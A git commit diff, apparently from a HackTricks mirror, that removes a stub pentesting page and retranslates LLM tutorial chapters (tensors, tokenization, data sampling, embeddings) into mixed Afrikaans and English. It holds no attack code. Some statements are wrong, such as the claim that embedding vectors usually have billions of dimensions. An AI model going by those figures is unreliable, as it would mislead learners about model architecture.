mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
parent
66a8787c5d
commit
ddfc4b0895
@ -1,29 +0,0 @@
|
||||
# 1911 - Pentesting fox
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
En meer dienste:
|
||||
|
||||
ubiquiti-discover udp "Ubiquiti Networks Device"
|
||||
|
||||
dht udp "DHT Nodes"
|
||||
|
||||
5060 udp sip "SIP/"
|
||||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,3 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,22 +1,24 @@
|
||||
# 0. Basiese LLM Konsepte
|
||||
# 0. Basic LLM Concepts
|
||||
|
||||
## Vooropleiding
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Vooropleiding is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Gedurende hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verkry die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model fyn-afgestem word, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
|
||||
## Pretraining
|
||||
|
||||
## Hoof LLM komponente
|
||||
Pretraining is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verkry die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model fyn-afgestem word, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
|
||||
|
||||
## Main LLM components
|
||||
|
||||
Gewoonlik word 'n LLM gekarakteriseer deur die konfigurasie wat gebruik word om dit op te lei. Dit is die algemene komponente wanneer 'n LLM opgelei word:
|
||||
|
||||
- **Parameters**: Parameters is die **leerbare gewigte en vooroordele** in die neurale netwerk. Dit is die getalle wat die opleidingsproses aanpas om die verliesfunksie te minimaliseer en die model se prestasie op die taak te verbeter. LLMs gebruik gewoonlik miljoene parameters.
|
||||
- **Kontekslengte**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
|
||||
- **Inbedigingsdimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik biljoene dimensies.
|
||||
- **Verborge Dimensie**: Die grootte van die verborge lae in die neurale netwerk.
|
||||
- **Aantal Lae (Diepte)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
|
||||
- **Aantal Aandagkoppe**: In transformermodelle, dit is hoeveel aparte aandagmeganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
|
||||
- **Context Length**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
|
||||
- **Embedding Dimension**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik miljarde dimensies.
|
||||
- **Hidden Dimension**: Die grootte van die verborge lae in die neurale netwerk.
|
||||
- **Number of Layers (Depth)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
|
||||
- **Number of Attention Heads**: In transformer modelle, is dit hoeveel aparte aandag meganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
|
||||
- **Dropout**: Dropout is iets soos die persentasie data wat verwyder word (waarskynlikhede draai na 0) tydens opleiding wat gebruik word om **oorpassing te voorkom.** LLMs gebruik gewoonlik tussen 0-20%.
|
||||
|
||||
Konfigurasie van die GPT-2 model:
|
||||
Configuration of the GPT-2 model:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
@ -32,23 +34,23 @@ GPT_CONFIG_124M = {
|
||||
|
||||
In PyTorch, 'n **tensor** is 'n fundamentele datastruktuur wat dien as 'n multi-dimensionele array, wat konsepte soos skalar, vektore en matrikse veralgemeen na moontlik hoër dimensies. Tensors is die primêre manier waarop data voorgestel en gemanipuleer word in PyTorch, veral in die konteks van diep leer en neurale netwerke.
|
||||
|
||||
### Wiskundige Konsep van Tensors
|
||||
### Mathematical Concept of Tensors
|
||||
|
||||
- **Skalars**: Tensors van rang 0, wat 'n enkele getal voorstel (nul-dimensioneel). Soos: 5
|
||||
- **Vektore**: Tensors van rang 1, wat 'n een-dimensionele array van getalle voorstel. Soos: \[5,1]
|
||||
- **Matrikse**: Tensors van rang 2, wat twee-dimensionele arrays met rye en kolomme voorstel. Soos: \[\[1,3], \[5,2]]
|
||||
- **Hoër-Rang Tensors**: Tensors van rang 3 of meer, wat data in hoër dimensies voorstel (bv. 3D tensors vir kleurbeelde).
|
||||
- **Scalars**: Tensors van rang 0, wat 'n enkele getal voorstel (nul-dimensioneel). Soos: 5
|
||||
- **Vectors**: Tensors van rang 1, wat 'n een-dimensionele array van getalle voorstel. Soos: \[5,1]
|
||||
- **Matrices**: Tensors van rang 2, wat twee-dimensionele arrays met rye en kolomme voorstel. Soos: \[\[1,3], \[5,2]]
|
||||
- **Higher-Rank Tensors**: Tensors van rang 3 of meer, wat data in hoër dimensies voorstel (bv. 3D tensors vir kleurbeelde).
|
||||
|
||||
### Tensors as Data Containers
|
||||
|
||||
Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dimensionele data, waar elke dimensie verskillende kenmerke of aspekte van die data kan voorstel. Dit maak tensors hoogs geskik vir die hantering van komplekse datastelle in masjienleer take.
|
||||
From a computational perspective, tensors act as containers for multi-dimensional data, where each dimension can represent different features or aspects of the data. This makes tensors highly suitable for handling complex datasets in machine learning tasks.
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
Terwyl PyTorch tensors soortgelyk is aan NumPy arrays in hul vermoë om numeriese data te stoor en te manipuleer, bied hulle addisionele funksies wat noodsaaklik is vir diep leer:
|
||||
While PyTorch tensors are similar to NumPy arrays in their ability to store and manipulate numerical data, they offer additional functionalities crucial for deep learning:
|
||||
|
||||
- **Outomatiese Differensiasie**: PyTorch tensors ondersteun outomatiese berekening van gradiënte (autograd), wat die proses van die berekening van afgeleides wat benodig word vir die opleiding van neurale netwerke vereenvoudig.
|
||||
- **GPU Versnelling**: Tensors in PyTorch kan na en op GPU's beweeg en bereken word, wat grootliks die spoed van groot skaal berekeninge verhoog.
|
||||
- **Automatic Differentiation**: PyTorch tensors support automatic calculation of gradients (autograd), which simplifies the process of computing derivatives required for training neural networks.
|
||||
- **GPU Acceleration**: Tensors in PyTorch can be moved to and computed on GPUs, significantly speeding up large-scale computations.
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
|
||||
@ -201,14 +203,14 @@ Gradient w.r.t b: tensor([-0.0817])
|
||||
|
||||
In groter neurale netwerke met meerdere lae, word die proses om gradiënte te bereken meer kompleks weens die verhoogde aantal parameters en operasies. Tog bly die fundamentele beginsels dieselfde:
|
||||
|
||||
- **Voorwaartse Deurloop:** Bereken die uitvoer van die netwerk deur insette deur elke laag te laat gaan.
|
||||
- **Voorwaartse Deur:** Bereken die uitvoer van die netwerk deur insette deur elke laag te laat gaan.
|
||||
- **Bereken Verlies:** Evalueer die verliesfunksie met behulp van die netwerk se uitvoer en die teikenetikette.
|
||||
- **Achterwaartse Deurloop (Terugpropagering):** Bereken die gradiënte van die verlies ten opsigte van elke parameter in die netwerk deur die kettingreël herhaaldelik toe te pas van die uitvoerlaag terug na die insetlaag.
|
||||
- **Achterwaartse Deur (Terugpropagering):** Bereken die gradiënte van die verlies ten opsigte van elke parameter in die netwerk deur die kettingreël herhaaldelik toe te pas van die uitvoerlaag terug na die insetlaag.
|
||||
|
||||
### **2. Terugpropagering Algoritme**
|
||||
|
||||
- **Stap 1:** Begin die netwerkparameters (gewigte en vooroordele).
|
||||
- **Stap 2:** Vir elke opleidingsvoorbeeld, voer 'n voorwaartse deurloop uit om die uitvoer te bereken.
|
||||
- **Stap 2:** Vir elke opleidingsvoorbeeld, voer 'n voorwaartse deur uit om die uitvoer te bereken.
|
||||
- **Stap 3:** Bereken die verlies.
|
||||
- **Stap 4:** Bereken die gradiënte van die verlies ten opsigte van elke parameter met behulp van die kettingreël.
|
||||
- **Stap 5:** Werk die parameters op met 'n optimalisering algoritme (bv. gradiëntafname).
|
||||
@ -276,10 +278,12 @@ Tydens die agterwaartse deurloop:
|
||||
|
||||
- PyTorch beweeg deur die berekeningsgrafiek in omgekeerde volgorde.
|
||||
- Vir elke operasie, pas dit die kettingreël toe om gradiënte te bereken.
|
||||
- Gradiënte word opgelaai in die `.grad` eienskap van elke parameter tensor.
|
||||
- Gradiënte word bymekaargebring in die `.grad` eienskap van elke parameter tensor.
|
||||
|
||||
### **6. Voordele van Outomatiese Differensiasie**
|
||||
|
||||
- **Doeltreffendheid:** Vermy oortollige berekeninge deur tussenresultate te hergebruik.
|
||||
- **Doeltreffendheid:** Vermy oorbodige berekeninge deur tussenresultate te hergebruik.
|
||||
- **Nauwkeurigheid:** Verskaf presiese afgeleides tot masjienpresisie.
|
||||
- **Gebruiksgemak:** Elimineer handmatige berekening van afgeleides.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,77 +1,79 @@
|
||||
# 1. Tokenizing
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenizing
|
||||
|
||||
**Tokenizing** is die proses om data, soos teks, in kleiner, hanteerbare stukke genaamd _tokens_ op te breek. Elke token word dan 'n unieke numeriese identifiseerder (ID) toegeken. Dit is 'n fundamentele stap in die voorbereiding van teks vir verwerking deur masjienleer modelle, veral in natuurlike taalverwerking (NLP).
|
||||
**Tokenizing** is die proses om data, soos teks, op te breek in kleiner, hanteerbare stukke wat _tokens_ genoem word. Elke token word dan aan 'n unieke numeriese identifiseerder (ID) toegeken. Dit is 'n fundamentele stap in die voorbereiding van teks vir verwerking deur masjienleer modelle, veral in natuurlike taalverwerking (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie aanvanklike fase is baie eenvoudig: **Verdeel die invoer in tokens (ids) op 'n manier wat sin maak**.
|
||||
|
||||
### **How Tokenizing Works**
|
||||
### **Hoe Tokenizing Werk**
|
||||
|
||||
1. **Splitting the Text:**
|
||||
- **Basic Tokenizer:** 'n Eenvoudige tokenizer kan teks in individuele woorde en leestekens verdeel, terwyl spasië weggehaal word.
|
||||
- _Example:_\
|
||||
1. **Die Teks Verdeeld:**
|
||||
- **Basiese Tokenizer:** 'n Eenvoudige tokenizer kan teks in individuele woorde en leestekens verdeel, terwyl spaties verwyder word.
|
||||
- _Voorbeeld:_\
|
||||
Teks: `"Hello, world!"`\
|
||||
Tokens: `["Hello", ",", "world", "!"]`
|
||||
2. **Creating a Vocabulary:**
|
||||
- Om tokens in numeriese ID's om te skakel, word 'n **vocabulary** geskep. Hierdie vocabulary lys al die unieke tokens (woorde en simbole) en ken elkeen 'n spesifieke ID toe.
|
||||
- **Special Tokens:** Dit is spesiale simbole wat by die vocabulary gevoeg word om verskillende scenario's te hanteer:
|
||||
- `[BOS]` (Beginning of Sequence): Dui die begin van 'n teks aan.
|
||||
- `[EOS]` (End of Sequence): Dui die einde van 'n teks aan.
|
||||
- `[PAD]` (Padding): Gebruik om alle reekse in 'n batch dieselfde lengte te maak.
|
||||
- `[UNK]` (Unknown): Verteenwoordig tokens wat nie in die vocabulary is nie.
|
||||
- _Example:_\
|
||||
2. **Skep 'n Woordeskat:**
|
||||
- Om tokens in numeriese ID's om te skakel, word 'n **woordeskat** geskep. Hierdie woordeskat lys al die unieke tokens (woorde en simbole) en ken elkeen 'n spesifieke ID toe.
|
||||
- **Spesiale Tokens:** Dit is spesiale simbole wat by die woordeskat gevoeg word om verskillende scenario's te hanteer:
|
||||
- `[BOS]` (Begin van Sequentie): Dui die begin van 'n teks aan.
|
||||
- `[EOS]` (Einde van Sequentie): Dui die einde van 'n teks aan.
|
||||
- `[PAD]` (Padding): Gebruik om alle sequenties in 'n batch dieselfde lengte te maak.
|
||||
- `[UNK]` (Onbekend): Verteenwoordig tokens wat nie in die woordeskat is nie.
|
||||
- _Voorbeeld:_\
|
||||
As `"Hello"` ID `64` toegeken word, `","` is `455`, `"world"` is `78`, en `"!"` is `467`, dan:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Handling Unknown Words:**\
|
||||
As 'n woord soos `"Bye"` nie in die vocabulary is nie, word dit vervang met `[UNK]`.\
|
||||
- **Hanteer Onbekende Woorde:**\
|
||||
As 'n woord soos `"Bye"` nie in die woordeskat is nie, word dit vervang met `[UNK]`.\
|
||||
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Aannemende `[UNK]` het ID `987`)_
|
||||
_(Aneem `[UNK]` het ID `987`)_
|
||||
|
||||
### **Advanced Tokenizing Methods**
|
||||
### **Geavanceerde Tokenizing Metodes**
|
||||
|
||||
Terwyl die basiese tokenizer goed werk vir eenvoudige teks, het dit beperkings, veral met groot vocabularies en die hantering van nuwe of seldsame woorde. Gevorderde tokenizing metodes spreek hierdie probleme aan deur teks in kleiner subeenhede op te breek of die tokenisering proses te optimaliseer.
|
||||
Terwyl die basiese tokenizer goed werk vir eenvoudige teks, het dit beperkings, veral met groot woordeskatte en die hantering van nuwe of seldsame woorde. Geavanceerde tokenizing metodes spreek hierdie probleme aan deur teks in kleiner subeenhede op te breek of die tokenisering proses te optimaliseer.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Purpose:** Verminder die grootte van die vocabulary en hanteer seldsame of onbekende woorde deur hulle op te breek in gereeld voorkomende byte pare.
|
||||
- **How It Works:**
|
||||
- **Doel:** Verminder die grootte van die woordeskat en hanteer seldsame of onbekende woorde deur hulle op te breek in gereeld voorkomende byte pare.
|
||||
- **Hoe Dit Werk:**
|
||||
- Begin met individuele karakters as tokens.
|
||||
- Samevoeg iteratief die mees gereelde pare van tokens in 'n enkele token.
|
||||
- Gaan voort totdat daar geen meer gereelde pare is wat saamgevoeg kan word nie.
|
||||
- **Benefits:**
|
||||
- **Voordele:**
|
||||
- Elimineer die behoefte aan 'n `[UNK]` token aangesien alle woorde verteenwoordig kan word deur bestaande subwoord tokens te kombineer.
|
||||
- Meer doeltreffende en buigsame vocabulary.
|
||||
- _Example:_\
|
||||
`"playing"` mag as `["play", "ing"]` getokeniseer word as `"play"` en `"ing"` gereelde subwoorde is.
|
||||
- Meer doeltreffende en buigsame woordeskat.
|
||||
- _Voorbeeld:_\
|
||||
`"playing"` kan as `["play", "ing"]` getokeniseer word as `"play"` en `"ing"` gereelde subwoorde is.
|
||||
2. **WordPiece:**
|
||||
- **Used By:** Modelle soos BERT.
|
||||
- **Purpose:** Soortgelyk aan BPE, breek dit woorde in subwoord eenhede om onbekende woorde te hanteer en die vocabulary grootte te verminder.
|
||||
- **How It Works:**
|
||||
- Begin met 'n basis vocabulary van individuele karakters.
|
||||
- **Gebruik Deur:** Modelle soos BERT.
|
||||
- **Doel:** Soortgelyk aan BPE, breek dit woorde in subwoord eenhede om onbekende woorde te hanteer en die grootte van die woordeskat te verminder.
|
||||
- **Hoe Dit Werk:**
|
||||
- Begin met 'n basiswoordeskat van individuele karakters.
|
||||
- Voeg iteratief die mees gereelde subwoord by wat die waarskynlikheid van die opleidingsdata maksimeer.
|
||||
- Gebruik 'n probabilistiese model om te besluit watter subwoorde saamgevoeg moet word.
|
||||
- **Benefits:**
|
||||
- Balans tussen 'n hanteerbare vocabulary grootte en effektiewe verteenwoordiging van woorde.
|
||||
- **Voordele:**
|
||||
- Balans tussen 'n hanteerbare woordeskatgrootte en effektiewe verteenwoordiging van woorde.
|
||||
- Hanteer seldsame en saamgestelde woorde doeltreffend.
|
||||
- _Example:_\
|
||||
`"unhappiness"` mag as `["un", "happiness"]` of `["un", "happy", "ness"]` getokeniseer word, afhangende van die vocabulary.
|
||||
3. **Unigram Language Model:**
|
||||
- **Used By:** Modelle soos SentencePiece.
|
||||
- **Purpose:** Gebruik 'n probabilistiese model om die mees waarskynlike stel van subwoord tokens te bepaal.
|
||||
- **How It Works:**
|
||||
- _Voorbeeld:_\
|
||||
`"unhappiness"` kan as `["un", "happiness"]` of `["un", "happy", "ness"]` getokeniseer word, afhangende van die woordeskat.
|
||||
3. **Unigram Taalmodel:**
|
||||
- **Gebruik Deur:** Modelle soos SentencePiece.
|
||||
- **Doel:** Gebruik 'n probabilistiese model om die mees waarskynlike stel van subwoord tokens te bepaal.
|
||||
- **Hoe Dit Werk:**
|
||||
- Begin met 'n groot stel potensiële tokens.
|
||||
- Verwyder iteratief tokens wat die minste die model se waarskynlikheid van die opleidingsdata verbeter.
|
||||
- Finaliseer 'n vocabulary waar elke woord verteenwoordig word deur die mees waarskynlike subwoord eenhede.
|
||||
- **Benefits:**
|
||||
- Verwyder iteratief tokens wat die minste verbetering in die model se waarskynlikheid van die opleidingsdata bied.
|
||||
- Finaliseer 'n woordeskat waar elke woord verteenwoordig word deur die mees waarskynlike subwoord eenhede.
|
||||
- **Voordele:**
|
||||
- Buigsame en kan taal meer natuurlik modelleer.
|
||||
- Lei dikwels tot meer doeltreffende en kompakte tokeniseringen.
|
||||
- _Example:_\
|
||||
`"internationalization"` mag in kleiner, betekenisvolle subwoorde soos `["international", "ization"]` getokeniseer word.
|
||||
- Lei dikwels tot meer doeltreffende en kompakte tokenisering.
|
||||
- _Voorbeeld:_\
|
||||
`"internationalization"` kan in kleiner, betekenisvolle subwoorde soos `["international", "ization"]` getokeniseer word.
|
||||
|
||||
## Code Example
|
||||
## Code Voorbeeld
|
||||
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Laat ons dit beter verstaan vanuit 'n kodevoorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
@ -93,3 +95,6 @@ print(token_ids[:50])
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 2. Data Sampling
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## **Data Sampling**
|
||||
|
||||
**Data Sampling** is 'n belangrike proses in die voorbereiding van data vir die opleiding van groot taalmodelle (LLMs) soos GPT. Dit behels die organisering van teksdata in invoer- en teikensekwensies wat die model gebruik om te leer hoe om die volgende woord (of token) te voorspel op grond van die voorafgaande woorde. Korrek data sampling verseker dat die model effektief taalpatrone en afhanklikhede vasvang.
|
||||
**Data Sampling** is 'n belangrike proses om data voor te berei vir die opleiding van groot taalmodelle (LLMs) soos GPT. Dit behels die organisering van teksdata in invoer- en teikensekwensies wat die model gebruik om te leer hoe om die volgende woord (of token) te voorspel op grond van die voorafgaande woorde. Korrek data sampling verseker dat die model effektief taalpatrone en afhanklikhede vasvang.
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie tweede fase is baie eenvoudig: **Steek die invoerdata en berei dit voor vir die opleidingsfase deur gewoonlik die dataset in sinne van 'n spesifieke lengte te skei en ook die verwagte reaksie te genereer.**
|
||||
@ -13,14 +15,14 @@ LLMs soos GPT word opgelei om teks te genereer of te voorspel deur die konteks w
|
||||
|
||||
### **Key Concepts in Data Sampling**
|
||||
|
||||
1. **Tokenization:** Die afbreek van teks in kleiner eenhede wat tokens genoem word (bv. woorde, subwoorde of karakters).
|
||||
1. **Tokenization:** Die opsplitsing van teks in kleiner eenhede wat tokens genoem word (bv. woorde, subwoorde of karakters).
|
||||
2. **Sequence Length (max_length):** Die aantal tokens in elke invoersekwensie.
|
||||
3. **Sliding Window:** 'n Metode om oorvleuelende invoersekwensies te skep deur 'n venster oor die getokeniseerde teks te beweeg.
|
||||
4. **Stride:** Die aantal tokens wat die glijdende venster vorentoe beweeg om die volgende sekwensie te skep.
|
||||
|
||||
### **Step-by-Step Example**
|
||||
|
||||
Laat ons deur 'n voorbeeld stap om data sampling te illustreer.
|
||||
Kom ons loop deur 'n voorbeeld om data sampling te illustreer.
|
||||
|
||||
**Example Text**
|
||||
```arduino
|
||||
@ -84,12 +86,12 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
|
||||
**Understanding Stride**
|
||||
|
||||
- **Stride of 1:** Die venster beweeg vorentoe met een token elke keer, wat lei tot hoogs oorvleuelende reekse. Dit kan lei tot beter leer van kontekstuele verhoudings, maar kan die risiko van oorpassing verhoog aangesien soortgelyke datapunte herhaal word.
|
||||
- **Stride of 2:** Die venster beweeg vorentoe met twee tokens elke keer, wat oorvleueling verminder. Dit verminder redundans en rekenaarlading, maar mag sommige kontekstuele nuanses mis.
|
||||
- **Stride of 2:** Die venster beweeg vorentoe met twee tokens elke keer, wat oorvleueling verminder. Dit verminder redundans en rekenkundige las, maar mag sommige kontekstuele nuanses mis.
|
||||
- **Stride Equal to max_length:** Die venster beweeg vorentoe met die hele venstergrootte, wat lei tot nie-oorvleuelende reekse. Dit minimaliseer data redundans, maar mag die model se vermoë om afhanklikhede oor reekse te leer beperk.
|
||||
|
||||
**Example with Stride of 2:**
|
||||
|
||||
Using the same tokenized text and `max_length` of 4:
|
||||
Met dieselfde getokeniseerde teks en `max_length` van 4:
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
@ -97,7 +99,7 @@ Using the same tokenized text and `max_length` of 4:
|
||||
|
||||
## Code Example
|
||||
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Kom ons verstaan dit beter vanuit 'n kodevoorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download the text to pre-train the LLM
|
||||
import urllib.request
|
||||
@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Na die tokenisering van teksdata, is die volgende kritieke stap in die voorbereiding van data vir die opleiding van groot taalmodelle (LLMs) soos GPT die skep van **token embeddings**. Token embeddings transformeer diskrete tokens (soos woorde of subwoorde) in deurlopende numeriese vektore wat die model kan verwerk en daaruit kan leer. Hierdie verduideliking breek token embeddings, hul inisialisering, gebruik, en die rol van posisionele embeddings in die verbetering van die model se begrip van tokenreekse af.
|
||||
@ -10,23 +12,23 @@ Na die tokenisering van teksdata, is die volgende kritieke stap in die voorberei
|
||||
>
|
||||
> Boonop, tydens die token embedding **word 'n ander laag van embeddings geskep** wat (in hierdie geval) die **absolute posisie van die woord in die opleidingssin** verteenwoordig. Op hierdie manier sal 'n woord in verskillende posisies in die sin 'n ander voorstelling (betekenis) hê.
|
||||
|
||||
### **What Are Token Embeddings?**
|
||||
### **Wat is Token Embeddings?**
|
||||
|
||||
**Token Embeddings** is numeriese verteenwoordigings van tokens in 'n deurlopende vektor ruimte. Elke token in die woordeskat is geassosieer met 'n unieke vektor van vaste dimensies. Hierdie vektore vang semantiese en sintaktiese inligting oor die tokens vas, wat die model in staat stel om verhoudings en patrone in die data te verstaan.
|
||||
|
||||
- **Vocabulary Size:** Die totale aantal unieke tokens (bv. woorde, subwoorde) in die model se woordeskat.
|
||||
- **Embedding Dimensions:** Die aantal numeriese waardes (dimensies) in elke token se vektor. Hoër dimensies kan meer genuanseerde inligting vasvang, maar vereis meer rekenaarhulpbronne.
|
||||
- **Woordeskatgrootte:** Die totale aantal unieke tokens (bv. woorde, subwoorde) in die model se woordeskat.
|
||||
- **Embedding Dimensies:** Die aantal numeriese waardes (dimensies) in elke token se vektor. Hoër dimensies kan meer genuanseerde inligting vasvang, maar vereis meer rekenaarhulpbronne.
|
||||
|
||||
**Example:**
|
||||
**Voorbeeld:**
|
||||
|
||||
- **Vocabulary Size:** 6 tokens \[1, 2, 3, 4, 5, 6]
|
||||
- **Embedding Dimensions:** 3 (x, y, z)
|
||||
- **Woordeskatgrootte:** 6 tokens \[1, 2, 3, 4, 5, 6]
|
||||
- **Embedding Dimensies:** 3 (x, y, z)
|
||||
|
||||
### **Initializing Token Embeddings**
|
||||
### **Inisialisering van Token Embeddings**
|
||||
|
||||
Aan die begin van die opleiding, word token embeddings tipies met klein random waardes geinisialiseer. Hierdie aanvanklike waardes word tydens die opleiding aangepas (fyngestem) om die tokens se betekenisse beter te verteenwoordig op grond van die opleidingsdata.
|
||||
Aan die begin van die opleiding, word token embeddings tipies geinisialiseer met klein random waardes. Hierdie aanvanklike waardes word aangepas (fyngestem) tydens opleiding om die tokens se betekenisse beter te verteenwoordig op grond van die opleidingsdata.
|
||||
|
||||
**PyTorch Example:**
|
||||
**PyTorch Voorbeeld:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
@ -123,7 +125,7 @@ cssCopy codeBatch
|
||||
|
||||
## **Posisionele Embeddings: Voeg Konteks by Token Embeddings**
|
||||
|
||||
Terwyl token embeddings die betekenis van individuele tokens vasvang, kodeer hulle nie inherent die posisie van tokens binne 'n reeks nie. Om die volgorde van tokens te verstaan, is noodsaaklik vir taalbegrip. Dit is waar **posisionele embeddings** in die prentjie kom.
|
||||
Terwyl token embeddings die betekenis van individuele tokens vasvang, kodeer hulle nie inherent die posisie van tokens binne 'n reeks nie. Om die volgorde van tokens te verstaan, is noodsaaklik vir taalbegrip. Dit is waar **posisionele embeddings** in die spel kom.
|
||||
|
||||
### **Waarom Posisionele Embeddings Benodig Word:**
|
||||
|
||||
@ -161,7 +163,7 @@ Combined Embedding = Token Embedding + Positional Embedding
|
||||
|
||||
## Kode Voorbeeld
|
||||
|
||||
Volg met die kode voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
Following with the code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 4. Aandag Meganismes
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Aandag Meganismes en Self-Aandag in Neurale Netwerke
|
||||
|
||||
Aandag meganismes laat neurale netwerke toe om **op spesifieke dele van die invoer te fokus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak. Dit is van kardinale belang in take soos masjienvertaling, waar begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
|
||||
